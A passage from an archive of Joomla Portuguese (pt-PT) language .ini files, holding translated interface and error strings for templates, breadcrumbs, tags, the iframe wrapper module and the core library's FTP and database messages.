%s." TPL_YOOTHEME_META_HITS="Visualizações: %s" TPL_YOOTHEME_NEXT_PAGE="Próxima Página" TPL_YOOTHEME_READ_MORE="Continuar a ler" TPL_YOOTHEME_SEARCH="Pesquisa" TPL_YOOTHEME_SEARCH_RESULTS="%s Resultados Encontrados" TPL_YOOTHEME_SEARCH_RESULTS_1="1 Resultado Encontrado" TPL_YOOTHEME_TAGS="Etiquetas: %s" TPL_YOOTHEME_BACK_TO_HOME="Voltar ao início" TPL_YOOTHEME_META_TAG="Etiquetado com %s." TPL_YOOTHEME_OPEN_MENU="Abrir menu" pt-PT.mod_breadcrumbs.sys.ini 0000604 00000000637 15174407616 0012172 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_BREADCRUMBS="Caminho de navegação" MOD_BREADCRUMBS_XML_DESCRIPTION="Este módulo exibe o caminho de navegação do utilizador no sítio." MOD_BREADCRUMBS_LAYOUT_DEFAULT="Padrão" pt-PT.com_tags.ini 0000604 00000001274 15174407616 0010017 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_TAGS_CREATED_DATE="Data de criação" COM_TAGS_DEFAULT_PAGE_TITLE="Etiquetas" COM_TAGS_FILTER_SEARCH_DESC="Insira parte ou totalidade do título para pesquisa." COM_TAGS_MODIFIED_DATE="Data de modificação" COM_TAGS_NO_ITEMS="Não foram encontrados itens correspondentes" COM_TAGS_NO_TAGS="Não existem etiquetas" COM_TAGS_PUBLISHED_DATE="Data de publicação" COM_TAGS_TAG_NOT_FOUND="Etiqueta não encontrada." COM_TAGS_TITLE_FILTER_LABEL="Indique parte do título" pt-PT.mod_wrapper.ini 0000604 00000003270 15174407616 0010540 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_WRAPPER="Embrulho" MOD_WRAPPER_FIELD_ADD_DESC="Por norma, http:// será adicionado a não ser que seja detetado http:// ou https:// no endereço que indicar. Esta opção pode ser desativada." MOD_WRAPPER_FIELD_ADD_LABEL="Adicionar automaticamente" MOD_WRAPPER_FIELD_AUTOHEIGHT_DESC="A altura será configurada de acordo com o tamanho da página a abrir. Este recurso só funciona para páginas dentro do seu domínio." MOD_WRAPPER_FIELD_AUTOHEIGHT_LABEL="Altura automática" MOD_WRAPPER_FIELD_HEIGHT_DESC="Altura da janela IFrame" MOD_WRAPPER_FIELD_HEIGHT_LABEL="Altura" MOD_WRAPPER_FIELD_SCROLL_DESC="Mostrar ou ocultar barras de deslocamento horizontais e verticais." MOD_WRAPPER_FIELD_SCROLL_LABEL="Barras de rolamento" MOD_WRAPPER_FIELD_TARGET_DESC="Nome da IFrame quando utilizada como alvo" MOD_WRAPPER_FIELD_TARGET_LABEL="Nome do alvo" MOD_WRAPPER_FIELD_URL_DESC="Url do sítio/página que pretende exibir dentro do iframe" MOD_WRAPPER_FIELD_URL_LABEL="URL" MOD_WRAPPER_FIELD_VALUE_AUTO="Automático" MOD_WRAPPER_FIELD_WIDTH_DESC="Largura da janela IFrame - pode indicar um tamanho absoluto, em pixeis, ou um tamanho relativo adicionando no final o símbolo de percentagem % ." MOD_WRAPPER_FIELD_WIDTH_LABEL="Largura" MOD_WRAPPER_NO_IFRAMES="Sem Iframes" MOD_WRAPPER_XML_DESCRIPTION="Este módulo cria uma janela IFrame para um determinado endereço" MOD_WRAPPER_FIELD_FRAME_LABEL="Contorno da janela" MOD_WRAPPER_FIELD_FRAME_DESC="Exibir contorno da janela que envolve a iFrame" pt-PT.lib_joomla.ini 0000604 00000203531 15174407616 0010332 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 ; Common boolean values ; Note: YES, NO, TRUE, FALSE are reserved words in INI format. ; Keep this string on top JERROR_PARSING_LANGUAGE_FILE=" : erro na linha %s" JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN="Acesso proibido." JLIB_APPLICATION_ERROR_APPLICATION_GET_NAME="JApplication: :getName() : Não foi possível obter ou analisar o nome da classe." JLIB_APPLICATION_ERROR_APPLICATION_LOAD="Não é possível carregar a aplicação: %s" JLIB_APPLICATION_ERROR_BATCH_CANNOT_CREATE="Não tem permissões para criar novos itens nesta categoria." JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT="Não tem permissões para editar um ou mais destes itens." JLIB_APPLICATION_ERROR_BATCH_FAILED="O processo em lote falhou com a seguinte mensagem: %s" JLIB_APPLICATION_ERROR_BATCH_MOVE_CATEGORY_NOT_FOUND="Não é possível encontrar a categoria de destino para onde mover." JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND="Não foi possível localizar o item que está a ser movido." JLIB_APPLICATION_ERROR_CHECKIN_FAILED="Validação falhou com o seguinte erro: %s" JLIB_APPLICATION_ERROR_CHECKIN_NOT_CHECKED="Item não foi submetido." JLIB_APPLICATION_ERROR_CHECKIN_USER_MISMATCH="O utilizador que está a validar não coincide com o utilizador que submeteu o item." JLIB_APPLICATION_ERROR_CHECKOUT_FAILED="Submissão falhou com o seguinte erro: %s" JLIB_APPLICATION_ERROR_CHECKOUT_USER_MISMATCH="O utilizador que está a submeter o item não coincide com o utilizador que submeteu o item." JLIB_APPLICATION_ERROR_COMPONENT_NOT_FOUND="Componente não encontrado" JLIB_APPLICATION_ERROR_COMPONENT_NOT_LOADING="Erro a carregar o componente: %1$s, %2$s" JLIB_APPLICATION_ERROR_CONTROLLER_GET_NAME="JController: :getName() : não é possível obter ou analisar o nome da classe." JLIB_APPLICATION_ERROR_CREATE_RECORD_NOT_PERMITTED="Não é permitido criar registo" JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED="Não é permitido eliminar" JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED="Não é permitido editar o estatuto." JLIB_APPLICATION_ERROR_EDIT_ITEM_NOT_PERMITTED="Não pode editar" JLIB_APPLICATION_ERROR_EDIT_NOT_PERMITTED="Não é permitido Editar" JLIB_APPLICATION_ERROR_HISTORY_ID_MISMATCH="Erro ao restaurar a versão do item a partir do histórico." JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION="Informação insuficiente para executar a operação em lote" JLIB_APPLICATION_ERROR_INVALID_CONTROLLER_CLASS="Classe controladora inválida: %s" JLIB_APPLICATION_ERROR_INVALID_CONTROLLER="Controlador inválido: nome='%s', formato='%s'" JLIB_APPLICATION_ERROR_LAYOUTFILE_NOT_FOUND="Visual de %s não encontrado" JLIB_APPLICATION_ERROR_LIBRARY_NOT_FOUND="Biblioteca não encontrada" JLIB_APPLICATION_ERROR_LIBRARY_NOT_LOADING="Erro ao carregar a biblioteca: %1$s, %2$s" JLIB_APPLICATION_ERROR_MENU_LOAD="Erro ao carregar o menu: %s" JLIB_APPLICATION_ERROR_MODEL_GET_NAME="JModel: :getName() : não é possível obter ou analisar o nome da classe." JLIB_APPLICATION_ERROR_MODULE_LOAD="rro ao carregar o módulo %s" JLIB_APPLICATION_ERROR_PATHWAY_LOAD="Não é possível carregar o caminho: %s" JLIB_APPLICATION_ERROR_REORDER_FAILED="Falha a reordenar. Erro: %s" JLIB_APPLICATION_ERROR_ROUTER_LOAD="Não é possível carregar o roteamento: %s" JLIB_APPLICATION_ERROR_MODELCLASS_NOT_FOUND="Classe de modelo %s não foi encontrada no ficheiro." JLIB_APPLICATION_ERROR_SAVE_FAILED="Falha ao guardar com o seguinte erro: %s" JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED="Não é permitido gravar" JLIB_APPLICATION_ERROR_TABLE_NAME_NOT_SUPPORTED="Tabela %s não permitida. Ficheiro não encontrado." JLIB_APPLICATION_ERROR_TASK_NOT_FOUND="Tarefa [%s] não encontrada" JLIB_APPLICATION_ERROR_UNHELD_ID="Não pode utilizar esse endereço para acesso direto a essa página (#%d)." JLIB_APPLICATION_ERROR_VIEW_CLASS_NOT_FOUND="Classe de visualização não encontrada [class, file]: %1$s, %2$s" JLIB_APPLICATION_ERROR_VIEW_GET_NAME_SUBSTRING="JView: :getName() : o nome da sua classe contém o termo 'view'. Isso causará problemas ao extrair o nome da classe do nome do seu modo de exibição de objetos. Evite nomes de objeto com o termo VIEW." JLIB_APPLICATION_ERROR_VIEW_GET_NAME="JView: :getName() : Não foi possível obter ou analisar o nome da classe." JLIB_APPLICATION_ERROR_VIEW_NOT_FOUND="Vista não encontrada [name, type, prefix]: %1$s, %2$s, %3$s" JLIB_APPLICATION_SAVE_SUCCESS="Item guardado com sucesso." JLIB_APPLICATION_SUBMIT_SAVE_SUCCESS="Item submetido com sucesso." JLIB_APPLICATION_SUCCESS_BATCH="Processo em lote concluído com êxito." JLIB_APPLICATION_SUCCESS_ITEM_REORDERED="Ordem guardada com sucesso." JLIB_APPLICATION_SUCCESS_ORDERING_SAVED="Ordem guardada com sucesso." JLIB_APPLICATION_SUCCESS_LOAD_HISTORY="Versão anterior restaurada com sucesso. Guardada em %s %s." JLIB_LOGIN_AUTHENTICATE="Nome de utilizador ou senha não coincidem ou você ainda não tem uma conta." JLIB_CACHE_ERROR_CACHE_HANDLER_LOAD="Não é possível carregar o gestor de cache: %s" JLIB_CACHE_ERROR_CACHE_STORAGE_LOAD="Não é possível carregar a cache de armazenamento: %s" JLIB_CAPTCHA_ERROR_PLUGIN_NOT_FOUND="O plugin Captcha não foi definido ou então não foi encontrado. Por favor, alerte o administrador do sítio" JLIB_CLIENT_ERROR_JFTP_NO_CONNECT="JFTP: :connect: não foi possível ligar ao servidor '%1$s' na porta '%2$s'" JLIB_CLIENT_ERROR_JFTP_NO_CONNECT_SOCKET="JFTP: :connect: não foi possível ligar ao servidor '%1$s' na porta '%2$s'. Número de erro de tomada: %3$s e mensagem de erro: %4$s" JLIB_CLIENT_ERROR_JFTP_BAD_RESPONSE="JFTP: :connect: Resposta incorreta. Resposta do servidor: %s [esperada: 220]" JLIB_CLIENT_ERROR_JFTP_BAD_USERNAME="JFTP: :login: Utilizador incorreto. Resposta do servidor: %1$s [esperado: 331]. Nome de utilizador enviado: %2$s" JLIB_CLIENT_ERROR_JFTP_BAD_PASSWORD="JFTP: :login: senha incorreta. Resposta do servidor: %1$s [esperado: 230]. Senha enviada: %2$s" JLIB_CLIENT_ERROR_JFTP_PWD_BAD_RESPONSE_NATIVE="FTP:: pwd: Resposta errada" JLIB_CLIENT_ERROR_JFTP_PWD_BAD_RESPONSE="JFTP: :pwd: Resposta errada. Resposta do servidor: %s [esperado: 257]" JLIB_CLIENT_ERROR_JFTP_SYST_BAD_RESPONSE_NATIVE="JFTP: :syst: Resposta errada." JLIB_CLIENT_ERROR_JFTP_SYST_BAD_RESPONSE="JFTP: :syst: Resposta errada. Resposta do servidor: %s [esperado: 215]" JLIB_CLIENT_ERROR_JFTP_CHDIR_BAD_RESPONSE_NATIVE="JFTP: :chdir: Resposta errada." JLIB_CLIENT_ERROR_JFTP_CHDIR_BAD_RESPONSE="JFTP: :chdir: Resposta errada. Resposta do servidor: %1$s [esperado: 250]. Caminho enviado: %2$s" JLIB_CLIENT_ERROR_JFTP_REINIT_BAD_RESPONSE_NATIVE="JFTP: :reinit: Resposta errada." JLIB_CLIENT_ERROR_JFTP_REINIT_BAD_RESPONSE="JFTP: :reinit: Resposta errada. Resposta do servidor: %s [esperada: 220]" JLIB_CLIENT_ERROR_JFTP_RENAME_BAD_RESPONSE_NATIVE="JFTP: :rename: Resposta errada." JLIB_CLIENT_ERROR_JFTP_RENAME_BAD_RESPONSE_FROM="JFTP: :rename: Resposta errada. Resposta do servidor: %1$s [esperado: 350]. Do caminho enviado: %2$s" JLIB_CLIENT_ERROR_JFTP_RENAME_BAD_RESPONSE_TO="JFTP: :rename: Resposta errada. Resposta do servidor: %1$s [esperado: 250]. Caminho enviado: %2$s" JLIB_CLIENT_ERROR_JFTP_CHMOD_BAD_RESPONSE_NATIVE="JFTP: :chmod: Resposta errada." JLIB_CLIENT_ERROR_JFTP_CHMOD_BAD_RESPONSE="JFTP: :chmod: Resposta errada. Resposta do servidor: %1$s [esperado: 250]. Caminho enviado: %2$s. Modo enviado: %3$s" JLIB_CLIENT_ERROR_JFTP_DELETE_BAD_RESPONSE_NATIVE="JFTP: :delete: Resposta errada." JLIB_CLIENT_ERROR_JFTP_DELETE_BAD_RESPONSE="JFTP: :delete: Resposta errada. Resposta do servidor: %1$s [esperado: 250]. Caminho enviado: %2$s" JLIB_CLIENT_ERROR_JFTP_MKDIR_BAD_RESPONSE_NATIVE="JFTP: :mkdir: Resposta errada." JLIB_CLIENT_ERROR_JFTP_MKDIR_BAD_RESPONSE="JFTP: :mkdir: Resposta errada. Resposta do servidor: %1$s [esperado: 257]. Caminho enviado: %2$s" JLIB_CLIENT_ERROR_JFTP_RESTART_BAD_RESPONSE_NATIVE="JFTP: :restart: Resposta errada." JLIB_CLIENT_ERROR_JFTP_RESTART_BAD_RESPONSE="JFTP: :restart: Resposta errada. Resposta do servidor: %1$s [esperado: 350]. Ponto de reinício enviado: %2$s" JLIB_CLIENT_ERROR_JFTP_CREATE_BAD_RESPONSE_BUFFER="JFTP: :create: Resposta errada." JLIB_CLIENT_ERROR_JFTP_CREATE_BAD_RESPONSE_PASSIVE="JFTP: :create: Não é possível usar modo passivo." JLIB_CLIENT_ERROR_JFTP_CREATE_BAD_RESPONSE="JFTP: :create: Resposta errada. Resposta do servidor: %1$s [esperado: 150 ou 125]. Caminho enviado: %2$s" JLIB_CLIENT_ERROR_JFTP_CREATE_BAD_RESPONSE_TRANSFER="JFTP: :create: Falha na transferência. Resposta do servidor: %1$s [esperado: 226]. Caminho enviado: %2$s" JLIB_CLIENT_ERROR_JFTP_READ_BAD_RESPONSE_BUFFER="JFTP: :read: Resposta errada" JLIB_CLIENT_ERROR_JFTP_READ_BAD_RESPONSE_PASSIVE="JFTP: :read: Não foi possível usar modo passivo." JLIB_CLIENT_ERROR_JFTP_READ_BAD_RESPONSE="JFTP: :read: Resposta errada. Resposta do servidor: %1$s [esperado: 150 ou 125]. Caminho enviado: %2$s" JLIB_CLIENT_ERROR_JFTP_READ_BAD_RESPONSE_TRANSFER="JFTP: :read: Falha na transferência. Resposta do servidor: %1$s [Esperada: 226]. Caminho enviado: %2$s" JLIB_CLIENT_ERROR_JFTP_GET_BAD_RESPONSE="JFTP: :get: Resposta errada" JLIB_CLIENT_ERROR_JFTP_GET_PASSIVE="JFTP: :get: Não foi possível usar modo passivo." JLIB_CLIENT_ERROR_JFTP_GET_WRITING_LOCAL="JFTP: :get: Não foi possível abrir o ficheiro local para escrita. Caminho local: %s" JLIB_CLIENT_ERROR_JFTP_GET_BAD_RESPONSE_RETR="JFTP: :get: Resposta errada. Resposta do servidor: %1$s [esperado: 150 ou 125]. Caminho enviado: %2$s" JLIB_CLIENT_ERROR_JFTP_GET_BAD_RESPONSE_TRANSFER="JFTP: :get: Falha na transferência. Resposta do servidor: %1$s [esperado: 226]. Caminho enviado: %2$s" JLIB_CLIENT_ERROR_JFTP_STORE_PASSIVE="JFTP: :store: Não foi possível usar modo passivo." JLIB_CLIENT_ERROR_JFTP_STORE_BAD_RESPONSE="JFTP: :store: Resposta errada" JLIB_CLIENT_ERROR_JFTP_STORE_READING_LOCAL="JFTP: :store: não é possível abrir o ficheiro local para leitura. Caminho local: %s" JLIB_CLIENT_ERROR_JFTP_STORE_FIND_LOCAL="JFTP: :store: não é possível localizar o ficheiro local. Caminho local: %s" JLIB_CLIENT_ERROR_JFTP_STORE_BAD_RESPONSE_STOR="JFTP: :store: Resposta errada. Resposta do servidor: %1$s [esperado: 150 ou 125]. Caminho enviado: %2$s" JLIB_CLIENT_ERROR_JFTP_STORE_DATA_PORT="JFTP: :store: não foi possível escrever na tomada de porta de dados." JLIB_CLIENT_ERROR_JFTP_STORE_BAD_RESPONSE_TRANSFER="JFTP: :store: Falha na transferência. Resposta do servidor: %1$s [esperado: 226]. Caminho enviado: %2$s" JLIB_CLIENT_ERROR_JFTP_WRITE_PASSIVE="JFTP: :write: Não é possível usar modo passivo." JLIB_CLIENT_ERROR_JFTP_WRITE_BAD_RESPONSE="JFTP: :write: Resposta errada" JLIB_CLIENT_ERROR_JFTP_WRITE_BAD_RESPONSE_STOR="JFTP: :write: Resposta errada. Resposta do servidor: %1$s [esperado: 150 ou 125]. Caminho enviado: %2$s" JLIB_CLIENT_ERROR_JFTP_WRITE_DATA_PORT="JFTP: :write: não foi possível escrever na tomada de porta de dados." JLIB_CLIENT_ERROR_JFTP_WRITE_BAD_RESPONSE_TRANSFER="JFTP: :write: Falha na transferência. Resposta do servidor: %1$s [esperado: 226]. Caminho enviado: %2$s" JLIB_CLIENT_ERROR_JFTP_APPEND_PASSIVE="JFTP: :append: Não foi possível usar modo passivo" JLIB_CLIENT_ERROR_JFTP_APPEND_BAD_RESPONSE="JFTP: :append: Resposta errada" JLIB_CLIENT_ERROR_JFTP_APPEND_BAD_RESPONSE_APPE="JFTP: :append: Resposta errada. Resposta do servidor: %1$s [esperado: 150 ou 125]. Caminho enviado: %2$s" JLIB_CLIENT_ERROR_JFTP_APPEND_DATA_PORT="JFTP: :append: não foi possível escrever na tomada de porta de dados" JLIB_CLIENT_ERROR_JFTP_APPEND_BAD_RESPONSE_TRANSFER="JFTP: :append: Falha na transferência. Resposta do servidor: %1$s [Esperada: 226]. Caminho enviado: %2$s" JLIB_CLIENT_ERROR_JFTP_SIZE_BAD_RESPONSE="JFTP: :size: Resposta errada" JLIB_CLIENT_ERROR_JFTP_SIZE_PASSIVE="JFTP: :size: Não foi possível usar modo passivo" JLIB_CLIENT_ERROR_JFTP_LISTNAMES_PASSIVE="JFTP: :listNames: Não é possível utilizar o modo passivo" JLIB_CLIENT_ERROR_JFTP_LISTNAMES_BAD_RESPONSE="JFTP: :listNames: Resposta errada" JLIB_CLIENT_ERROR_JFTP_LISTNAMES_BAD_RESPONSE_NLST="JFTP: :listNames: Resposta errada. Resposta do servidor: %1$s [esperado: 150 ou 125]. Caminho enviado: %2$s" JLIB_CLIENT_ERROR_JFTP_LISTNAMES_BAD_RESPONSE_TRANSFER="JFTP: :listNames: falha na transferência. Resposta do servidor: %1$s [esperado: 226]. Caminho enviado: %2$s" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_BAD_RESPONSE="JFTP: :listDetails: Resposta errada." JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_PASSIVE="JFTP: :listDetails: Não foi possível utilizar o modo passivo" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_BAD_RESPONSE_LIST="JFTP: :listDetails: Resposta errada. Resposta do servidor: %1$s [esperado: 150 ou 125]. Caminho enviado: %2$s" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_BAD_RESPONSE_TRANSFER="JFTP: :listDetails: transferência falhou. Resposta do servidor: %1$s [esperado: 226]. Caminho enviado: %2$s" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_UNRECOGNISED="JFTP: :listDetails: formato de listagem de pasta não reconhecido" JLIB_CLIENT_ERROR_JFTP_PUTCMD_UNCONNECTED="JFTP: :_putCmd: não ligado à porta de controlo." JLIB_CLIENT_ERROR_JFTP_PUTCMD_SEND="JFTP: :_putCmd: não é possível enviar comando: %s" JLIB_CLIENT_ERROR_JFTP_VERIFYRESPONSE="JFTP: :_verifyResponse: tempo de espera ou não reconhecido resposta enquanto aguarda uma resposta do servidor. Resposta do servidor: %s" JLIB_CLIENT_ERROR_JFTP_PASSIVE_CONNECT_PORT="JFTP: :_passive: não ligado à porta de controlo." JLIB_CLIENT_ERROR_JFTP_PASSIVE_RESPONSE="JFTP: :_passive: tempo esgotado ou resposta não reconhecida enquanto aguardava uma resposta do servidor. Resposta do servidor: %s" JLIB_CLIENT_ERROR_JFTP_PASSIVE_IP_OBTAIN="JFTP: :_passive: não é possível obter IP e porta para transferência de dados. Resposta do servidor: %s" JLIB_CLIENT_ERROR_JFTP_PASSIVE_IP_VALID="JFTP: :_passive: IP e porta para dados de transferência não é válido. Resposta do servidor: %s" JLIB_CLIENT_ERROR_JFTP_PASSIVE_CONNECT="JFTP: :_passive: não pode conetar ao anfitrião %1$s na porta %2$s. Socket erro número: %3$s e mensagem de erro: %4$s" JLIB_CLIENT_ERROR_JFTP_MODE_BINARY="JFTP: :_mode: Resposta errada. Resposta do servidor: %s [esperada: 200]. Modo de envio: binário" JLIB_CLIENT_ERROR_JFTP_MODE_ASCII="JFTP: :_mode: Resposta errada. Resposta do servidor: %s [esperada: 200]. Modo de envio: Ascii" JLIB_CLIENT_ERROR_HELPER_SETCREDENTIALSFROMREQUEST_FAILED="Parece que as credenciais do utilizador não estão corretas." JLIB_CLIENT_ERROR_LDAP_ADDRESS_NOT_AVAILABLE="Endereço não está disponível." JLIB_CMS_WARNING_PROVIDE_VALID_NAME="Por favor, indique um título válido, não vazio." JLIB_DATABASE_ERROR_ADAPTER_MYSQL="O adaptador MySQL 'mysql' não está disponível." JLIB_DATABASE_ERROR_ADAPTER_MYSQLI="O adaptador MySQL 'mysqli' não está disponível" JLIB_DATABASE_ERROR_BIND_FAILED_INVALID_SOURCE_ARGUMENT="%s:: bind falhado. Argumento de origem inválido." JLIB_DATABASE_ERROR_ARTICLE_UNIQUE_ALIAS="Outro artigo, nesta categoria, já tem o mesmo nome alternativo (pode até estar na reciclagem)." JLIB_DATABASE_ERROR_CATEGORY_UNIQUE_ALIAS="Outra categoria, com a mesma dependência, tem o mesmo nome alternativo (pode até estar na reciclagem)." JLIB_DATABASE_ERROR_CHECK_FAILED="%s: :Falha na verificação - %s" JLIB_DATABASE_ERROR_CHECKIN_FAILED="%s: :falha na validação - %s" JLIB_DATABASE_ERROR_CHECKOUT_FAILED="%s: : falha no desbloqueio- %s" JLIB_DATABASE_ERROR_CHILD_ROWS_CHECKED_OUT="Linhas dependentes por validar." JLIB_DATABASE_ERROR_CLASS_DOES_NOT_SUPPORT_ORDERING="%s não suporta ordenação." JLIB_DATABASE_ERROR_CLASS_IS_MISSING_FIELD="Falta um campo na base de dados: %s   %s." JLIB_DATABASE_ERROR_CLASS_NOT_FOUND_IN_FILE="Classe de tabela %s não encontrada no ficheiro." JLIB_DATABASE_ERROR_CONNECT_DATABASE="Não foi possível ligar à base de dados: %s" JLIB_DATABASE_ERROR_CONNECT_MYSQL="Não foi possível ligar ao MySQL." JLIB_DATABASE_ERROR_DATABASE_CONNECT="Não foi possível ligar à base de dados" JLIB_DATABASE_ERROR_DATABASE_UPGRADE_FAILED="Falha na atualização da base de dados MySQL. Por favor, utilize o <a href="_QQ_"index.php?option=com_installer&view=database"_QQ_">Reparador de base de dados</a>." JLIB_DATABASE_ERROR_DELETE_CATEGORY="Inconsistência dos dados esquerda-direita. Não é possível eliminar a categoria." JLIB_DATABASE_ERROR_DELETE_FAILED="%s: :Falha ao eliminar - %s" JLIB_DATABASE_ERROR_DELETE_ROOT_CATEGORIES="Categorias de raiz não podem ser eliminadas." JLIB_DATABASE_ERROR_EMAIL_INUSE="Este email já está registado." JLIB_DATABASE_ERROR_EMPTY_ROW_RETURNED="A linha da base dados está vazia." JLIB_DATABASE_ERROR_FUNCTION_FAILED="Função DB falhou com o erro número %s <br /><span style="_QQ_"color: red;"_QQ_">%s</span>" JLIB_DATABASE_ERROR_GET_NEXT_ORDER_FAILED="%s: :getNextOrder falhou-%s" JLIB_DATABASE_ERROR_GET_TREE_FAILED="%s: :getTree falhou - %s" JLIB_DATABASE_ERROR_GETNODE_FAILED="%s: :_getNode falhou - %s" JLIB_DATABASE_ERROR_GETROOTID_FAILED="%s:: getRootId falhou - %s" JLIB_DATABASE_ERROR_HIT_FAILED="%s: :falha acesso - %s" JLIB_DATABASE_ERROR_INVALID_LOCATION="%s: :setLocation - localização inválida" JLIB_DATABASE_ERROR_INVALID_NODE_RECURSION="%s: :mover: falha - não é possível mover o nó para ser dependente de si próprio" JLIB_DATABASE_ERROR_INVALID_PARENT_ID="ID hospedeiro inválido." JLIB_DATABASE_ERROR_LANGUAGE_NO_TITLE="O idioma deve ter um título" JLIB_DATABASE_ERROR_LANGUAGE_UNIQUE_IMAGE="Já existe um idioma de conteúdo com esta imagem." JLIB_DATABASE_ERROR_LANGUAGE_UNIQUE_LANG_CODE="Já existe um idioma de conteúdo com esta etiqueta de idioma" JLIB_DATABASE_ERROR_LANGUAGE_UNIQUE_SEF="Já existe um idioma de conteúdo com este código de idioma para URL" JLIB_DATABASE_ERROR_LOAD_DATABASE_DRIVER="Não foi possível carregar o Driver da Base de dados: %s" JLIB_DATABASE_ERROR_MENUTYPE="Alguns módulos de menu relacionados a este tipo de menu ou alguns itens de menu estão bloqueados por outro utilizador ou o item de menu padrão está neste menu" JLIB_DATABASE_ERROR_MENUTYPE_CHECKOUT="O utilizador em validação não coincide com o utilizador que submeteu este item de menu ou o módulo de menu associado." JLIB_DATABASE_ERROR_MENUTYPE_EMPTY="Tipo de menu vazio" JLIB_DATABASE_ERROR_MENUTYPE_EXISTS="Tipo de menu já existe: %s" JLIB_DATABASE_ERROR_MENU_CANNOT_UNSET_DEFAULT="O parâmetro de idioma neste item de menu deve ser definido para 'Todos'. Pelo menos um item de menu padrão deve ter o idioma definido para TODOS, mesmo se o sítio for multi-idioma." JLIB_DATABASE_ERROR_MENU_CANNOT_UNSET_DEFAULT_DEFAULT="Pelo menos um item de menu tem de ser definido como padrão." JLIB_DATABASE_ERROR_MENU_UNPUBLISH_DEFAULT_HOME="Não é possível despublicar a entrada padrão" JLIB_DATABASE_ERROR_MENU_DEFAULT_CHECKIN_USER_MISMATCH="O menu inicial atual deste idioma está por validar" JLIB_DATABASE_ERROR_MENU_UNIQUE_ALIAS="O nome alternativo <strong>%1$s</strong> já está a ser utilizado pelo menu de item <strong>%2$s</strong> no menu <strong>%3$s</strong> (pode até ser um item na lixeira)." JLIB_DATABASE_ERROR_MENU_UNIQUE_ALIAS_ROOT="Outro item de menu utiliza o mesmo nome alternativo na raiz (pode até estar na reciclagem). A raiz é o nível superior." JLIB_DATABASE_ERROR_MENU_HOME_NOT_COMPONENT="O item de menu inicial deve ser um componente." JLIB_DATABASE_ERROR_MENU_HOME_NOT_UNIQUE_IN_MENU="Um menu deve conter apenas um inicio padrão." JLIB_DATABASE_ERROR_MENU_ROOT_ALIAS_COMPONENT="O alias do item de menu de primeiro nível não pode ser 'componente'." JLIB_DATABASE_ERROR_MENU_ROOT_ALIAS_FOLDER="O nome alternativo do item de menu de primeiro nível não pode ser '%s' porque '%s' é uma subpasta da pasta de instalação do Joomla." JLIB_DATABASE_ERROR_MOVE_FAILED="%s: :falha ao mover - %s" JLIB_DATABASE_ERROR_MUSTCONTAIN_A_TITLE_CATEGORY="Categoria deve ter um nome" JLIB_DATABASE_ERROR_MUSTCONTAIN_A_TITLE_EXTENSION="Extensão deve ter um nome" JLIB_DATABASE_ERROR_MUSTCONTAIN_A_TITLE_MENUITEM="O item de menu deve ter um título." JLIB_DATABASE_ERROR_MUSTCONTAIN_A_TITLE_MODULE="O módulo deve ter um título" JLIB_DATABASE_ERROR_MUSTCONTAIN_A_TITLE_UPDATESITE="Sítio de atualização deve ter um título" JLIB_DATABASE_ERROR_NEGATIVE_NOT_PERMITTED="%s não pode ser negativo" JLIB_DATABASE_ERROR_NO_ROWS_SELECTED="Nenhuma linha selecionada." JLIB_DATABASE_ERROR_NOT_SUPPORTED_FILE_NOT_FOUND="Tabela %s não suportada. Ficheiro não encontrado." JLIB_DATABASE_ERROR_NULL_PRIMARY_KEY="Não é permitida uma chave primária vazia." JLIB_DATABASE_ERROR_ORDERDOWN_FAILED="%s: :orderDown falhou - %s" JLIB_DATABASE_ERROR_ORDERUP_FAILED="%s: :orderUp falhou - %s" JLIB_DATABASE_ERROR_PLEASE_ENTER_A_USER_NAME="Por favor, indique um nome de utilizador." JLIB_DATABASE_ERROR_PLEASE_ENTER_YOUR_NAME="Por favor, indique o seu nome real." JLIB_DATABASE_ERROR_PUBLISH_FAILED="%s: :falha ao publicar - %s" JLIB_DATABASE_ERROR_REBUILD_FAILED="%s: :falha ao reconstruir - %s" JLIB_DATABASE_ERROR_REBUILDPATH_FAILED="%s: :rebuildPath falhou - %s" JLIB_DATABASE_ERROR_REORDER_FAILED="%s: :falha ao reordenar - %s" JLIB_DATABASE_ERROR_REORDER_UPDATE_ROW_FAILED="%s: :falha ao reordenar na atualização da linha %s-%s" JLIB_DATABASE_ERROR_ROOT_NODE_NOT_FOUND="Nó raiz não encontrado." JLIB_DATABASE_ERROR_STORE_FAILED_UPDATE_ASSET_ID="Não foi possível atualizar o campo asset_id." JLIB_DATABASE_ERROR_STORE_FAILED="%1$s: :arquivar falhou < br />%2$s" JLIB_DATABASE_ERROR_USERGROUP_TITLE="Grupo de utilizadores deve ter um nome" JLIB_DATABASE_ERROR_USERGROUP_TITLE_EXISTS="O nome para o grupo de utilizadores já está em utilização. O nome deve ser exclusivo dentro de cada hospedeiro." JLIB_DATABASE_ERROR_USERLEVEL_NAME_EXISTS="Já existe um nível com o nome "_QQ_"%s"_QQ_"." JLIB_DATABASE_ERROR_USERNAME_CANNOT_CHANGE="Não é possível usar este nome de utilizador" JLIB_DATABASE_ERROR_USERNAME_INUSE="Nome de utilizador já em uso" JLIB_DATABASE_ERROR_VALID_AZ09="Por favor, 